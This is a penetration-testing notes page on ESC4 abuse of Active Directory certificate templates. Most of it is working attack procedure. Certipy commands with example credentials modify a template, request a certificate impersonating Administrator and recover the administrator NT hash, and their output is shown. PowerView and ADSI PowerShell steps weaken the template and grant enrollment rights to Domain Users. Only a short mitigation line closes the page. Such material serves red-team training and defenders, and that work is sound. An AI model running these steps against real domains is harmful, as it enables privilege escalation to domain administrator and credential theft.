ESC4
Description
ESC4 abuse is where a low privilege user possess permissions over a certificate template which could be used to make it vulnerable to other attacks such as ESC1 or ESC2. In theory, the templates could be modified to support any misconfiguration based attack but, the simplest would be to make it vulnerable to ESC1 and ESC2.
Requirements for attack path
Access to an account that has at least ONE of the following permissions over a template:
Owner
Write Owner Principals
Write Property Principals
Write DACL Principals
Changes required to a template to make it vulnerable to ESC1 attacks.
Disable manage approval
disable authorized signatures
enable the flag
ENROLLEE_SUPPLIES_SUBJECT
inmspki-certificate-name-flag
.Set the
mspki-certificate-application-policy
to be used for authentication, such asAny Purpose
orClient Authentication.
Linux
Enumeration
certipy find -u 'Moe@Security.local' -p 'Password123' -dc-ip 10.10.10.100 -vulnerable -stdout | grep ESC4
Performing the attack
Before making any changes, certipy can be used to save the current configuration of a template, so it can be restored to its original form later.
certipy template -u 'moe@security.local' -p 'Password123' -dc-ip 10.10.10.100 -template ESC4 -save-old
[*] Saved old configuration for 'ESC4' to 'ESC4.json'
[*] Updating certificate template 'ESC4'
[*] Successfully updated 'ESC4'
This command will make the selected template vulnerable to ESC1 attacks. Below, shows the ESC4 vulnerable template after modification. We can see how now any authenticated user on the domain could abuse this for escalation.

We can then perform the ESC1 attack against the template and grab
For accuracy and to avoid certificate mismatch issues we should always aim to provide the -sid parameter which should be the value of the UPN we are targeting (administrator@security.local in the example below).
certipy req -u 'moe@security.local' -p 'Password123' -dc-ip 10.10.10.100 -ca SECURITY-CA-CA -target-ip 10.10.10.2 -template ESC4 -upn Administrator@security.local -sid S-1-5-21-13999771-2333344039-1820745628-500 -out cert
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 39
[*] Got certificate with UPN 'Administrator@security.local'
[*] Certificate object SID is 'S-1-5-21-13999771-2333344039-1820745628-500'
[*] Saved certificate and private key to 'cert.pfx'
Then use the generated pfx (cert.pfx) to grab the NTLM hash for the account.
certipy auth -pfx cert.pfx -username administrator -domain security.local -dc-ip 10.10.10.100
[*] Using principal: administrator@security.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@security.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
Ensure to restore the original template configuration once this attack has been achieved.
certipy template -u 'moe@security.local' -p 'Password123' -dc-ip 10.10.10.100 -template 'ESC4' -configuration ESC4.json
Windows
These notes for Windows do not discuss restoring the altered configuration. Whilst the practice below is valid for CTF and lab envrionments, do not perform the actions below on a real engagement without first checking with the client that they have backed up the template to be modified. It is preffered to use Certipy if on an engagement in order to restore the old configuration.
Enumeration
Certify is not able to discern vulnerable certificate templates via its 'find /vulnerable' module for ESC4 and requires manual identification.
.\Certify.exe find

Performing the attackE
The following modifications require to be complete. The example below uses PowerView.
# add Certificate-Enrollment rights to the Domain Users group
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=lab,DC=local" -Verbose
# Disable Manager Approval
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-enrollment-flag'=9} -Verbose
# Disable Authorized Signature Requirement. Set mspki-ra-signature attribute to 0
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose
# Modify SAN for ENROLLEE_SUPPLIED_SUBJECT
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-name-flag'=1} -Verbose
# Set EKU for Client Authentication (Run Both)
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'} -Verbose
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
Or using the following native ADSI commands
$certTemplate = [ADSI]"LDAP://CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=SECURITY,DC=LOCAL"
# Get the existing security descriptor
$securityDescriptor = $certTemplate.psbase.ObjectSecurity
# Create a new access rule for "Domain Users"
$domainUsers = New-Object System.Security.Principal.NTAccount("Domain Users")
$guid = New-Object Guid("0e10c968-78fb-11d2-90d4-00c04f79dc55")
$accessRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($domainUsers, "ExtendedRight", "Allow", $guid)
$securityDescriptor.AddAccessRule($accessRule)
$certTemplate.psbase.ObjectSecurity = $securityDescriptor
# Disable manager approval
$certTemplate.put("mspki-enrollment-flag", 9)
# Disable Authorized Signature Requirement. Set mspki-ra-signature attribute to 0
$certTemplate.put("mspki-ra-signature", 0)
# Modify SAN for ENROLLEE_SUPPLIES_SUBJECT
$certTemplate.put("mspki-certificate-name-flag", 1)
# Set EKU for Client Authentication
$certTemplate.put("pkiextendedkeyusage", "1.3.6.1.5.5.7.3.2")
$certTemplate.put("mspki-certificate-application-policy", "1.3.6.1.5.5.7.3.2")
# Provision changes
$certTemplate.SetInfo()
After making the changes above and enumerating the certificate configuration again, we should see the template is now vulnerabl to ESC1.

From here we can follow the attack methodology for ESC1 as described here:
ESC1Mitigations
Set appropriate access controls on the template object. Remove overly permissive permissions from unexpected or low level users and groups.
Last updated